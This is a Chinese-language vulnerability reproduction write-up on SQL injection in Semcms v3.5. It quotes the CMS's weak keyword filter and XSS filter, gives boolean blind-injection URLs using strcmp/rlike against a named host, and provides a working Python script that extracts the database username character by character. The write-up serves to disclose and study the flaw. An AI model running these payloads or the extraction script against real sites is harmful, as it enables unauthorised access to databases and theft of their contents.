Semcms v3.5 sql注入漏洞

一、漏洞简介

二、漏洞影响

Semcms v3.5

三、复现过程

漏洞分析

在分析过程中看到网上已经有人发现semcms V2.4存在过滤不严导致sql注入的漏洞，不知道咋还没改，而且最新版过滤的关键字更少了。

首先查看首页文件index.php的代码

1 <?php
2 include_once  'Include/web_inc.php';
3 include_once  'Templete/default/Include/Function.php';
4 $file_url="";
5 include_once  'Templete/default/Include/default.php';
6 ?>

 1 //网站logo
 2 
 3 $weblogo=$web_url_meate.str_replace('../','',$row['web_logo']);
 4 
 5 // 控制文字标签 更改 获取的 语种 id
 6 
 7 if (isset($_GET["languageIDD"])){$Language=test_input(verify_str($_GET["languageIDD"]));}else{$Language=verify_str($Language);}
 8 
 9 if(!empty($Language)){
10 
11       //网站SEO设定
12 
13       $query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");
14       $row=mysqli_fetch_array($query);
15       $tag_indexmetatit=datato($row['tag_indexmetatit']);// 首页标题

 1 // 防sql入注
 2 
 3 if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} 　　　　//所有GET方式提交的变量都进行防注入检查
 4  
 5 foreach ($GetArray as $value){ //get
 6     
 7     verify_str($value);
 8   
 9 }
10 
11 function inject_check_sql($sql_str) {
12   
13      return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);　　　　//过滤关键字
14 } 
15 
16 function verify_str($str) { 
17  
18    if(inject_check_sql($str)) {
19    
20        exit('Sorry,You do this is wrong! (.-.)');　　　　　　//如果出现关键字则提示
21     } 
22  
23     return $str; 
24 }

 1 function test_input($data) { 　　　　　　　　　　　　　　　　　　//防止XSS
 2       $data = str_replace("<script", "", $data);
 3       $data = str_replace("</script>", "", $data);
 4       $data = str_replace("%", "percent", $data);
 5       $data = trim($data);
 6       $data = stripslashes($data);
 7       $data = htmlspecialchars($data,ENT_QUOTES);　　　　//实体编码
 8       return $data;
 9 
10    }

　　可以看到第16行的函数verify_str()调用inject_check_sql()用来过滤危险字符，函数test_input用来过滤xss。其中可以明显地看到第11行的函数inject_check_sql()采用白名单的方式是有缺陷的，我们可以用布尔盲注来绕过

漏洞复现

http://0-sec.org/SEMCMS_PHP_3.5/index.php?languageIDD=1 and strcmp(left(user(),1), 0x72) rlike 0　　　　显示正常

http://0-sec.org/SEMCMS_PHP_3.5/index.php?languageIDD=1 and strcmp(left(user(),1), 0x73) rlike 0　　　　显示错误

参考网上已有的fuzz盲注脚本改了下，代码如下

#用python3版本
import requests
url = "http://172.19.77.44/SEMCMS_PHP_3.5/index.php?languageIDD=1"
print("Testing url: " + url)
#十进制数33-126间的ascii hex值
payload = ["0x21","0x22","0x23","0x24","0x25","0x26","0x27","0x28","0x29","0x2a",
            "0x2b","0x2c","0x2d","0x2e","0x2f","0x30","0x31","0x32","0x33","0x34",
            "0x35","0x36","0x37","0x38","0x39","0x3a","0x3b","0x3c","0x3d","0x3e",
            "0x3f","0x40","0x41","0x42","0x43","0x44","0x45","0x46","0x47","0x48",
            "0x49","0x4a","0x4b","0x4c","0x4d","0x4e","0x4f","0x50","0x51","0x52",
            "0x53","0x54","0x55","0x56","0x57","0x58","0x59","0x5a","0x5b","0x5c",
            "0x5d","0x5e","0x5f","0x60","0x61","0x62","0x63","0x64","0x65","0x66",
            "0x67","0x68","0x69","0x6a","0x6b","0x6c","0x6d","0x6e","0x6f","0x70",
            "0x71","0x72","0x73","0x74","0x75","0x76","0x77","0x78","0x79","0x7a",
            "0x7b","0x7c","0x7d"
           ]
user = ""
for b in range(len(payload)):
    for a in payload:
        #sql_payload_user = " and strcmp(substr(database(),%s,1), 0x%s) rlike 0" % (b+1, a.replace("0x",""))    #当前数据库名称
        sql_payload_user = " and strcmp(substr(user(),%s,1), 0x%s) rlike 0" % (b+1, a.replace("0x",""))            #当前数据库用户名
        res = requests.get(url + sql_payload_user).text
        res1 = requests.get(url).text
        if len(res) == len(res1):        #如果返回的内容长度大小一样，则表示匹配成功
            user = user + a
            print(" ")
            print("[*]info : 0x" + user.replace("0x","").upper())
            break
        else:
            print('\r',"Match failed,Next.....",end='')

测试结果如下图

解码ascii hex值0x726F6F74406C6F63616C686F7374为root@localhost。当然因为过滤了select，获取表名就有点困难了，t00ls中看到有人介绍用selselectect来绕过的方式跟这个CMS的过滤方式是不一样的，所以行不通。暂时想到的办法是可以找一与验证密码有关的注点，因为这个注点包含表名，所以可以通过fuzz猜测其字段名，最后通过字段名取得字段值，可以看下这篇文章blind-sql-injection-burpsuite-like-a-boss(要翻墙)

参考链接

https://www.cnblogs.com/st404/p/10087191.html